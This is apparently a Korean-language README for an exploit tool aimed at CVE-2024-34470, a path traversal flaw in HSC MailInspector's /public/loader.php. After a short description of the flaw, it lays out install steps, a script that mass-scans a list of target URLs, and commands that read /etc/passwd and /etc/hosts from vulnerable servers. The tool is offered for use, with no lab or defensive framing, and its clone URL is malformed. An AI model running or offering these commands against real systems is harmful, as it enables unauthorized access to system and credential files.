HSC MailInspector - CVE-2024-34470

HSC Mailinspector 버전 5.2.18 이하에서 심각한 취약점이 발견되었습니다. 이 취약점은 /public/loader.php 파일의 알려지지 않은 기능에 영향을 미칩니다. 알 수 없는 입력으로 'path' 인수를 조작하면 경로 탐색(path traversal) 취약점이 발생합니다. CWE에 따르면 이 문제는 CWE-22로 분류됩니다. 제품은 제한된 상위 디렉터리 아래에 있는 파일이나 디렉터리를 식별하기 위해 외부 입력을 사용하여 경로명을 구성하지만, 경로명 내의 특수 요소를 적절히 무력화하지 못하여 경로명이 제한된 디렉터리 외부의 위치로 확인될 수 있습니다. 이는 기밀성, 무결성 및 가용성에 영향을 미칩니다.

설치

리포지토리 클론:

git clone https://CVE-2024-34470.git
cd CVE-2024-34470

의존성 설치

Python과 pip가 설치되어 있는지 확인하세요. 그런 다음 실행하세요:

pip install -r requirements.txt

• 스크립트를 실행하는 데 필요한 모든 의존성이 설치됩니다.

사용법

스크립트 설명

텍스트 파일을 사용하여 여러 대상을 검색하려면 Massive_CVE-2024-34470.py 스크립트를 사용하세요.

$ python3 Massive_CVE-2024-34470.py urls.txt urls_vulnerable.txt 2>/dev/null

urls.txt 파일의 형식은 다음과 같아야 합니다:

https://10.18.97.2
http://domain.com
https://192.8.7.2:4443

취약한 대상을 식별한 후에는 CVE-2024-34470.py라는 스크립트를 사용하여 터미널을 통해 지정된 내용을 악용하고 표시합니다.

# Read file content passwd
$ python CVE-2024-34470.py http://example.com /etc/passwd 2>/dev/null

# Read file content hosts
$ python CVE-2024-34470.py http://example.com /etc/hosts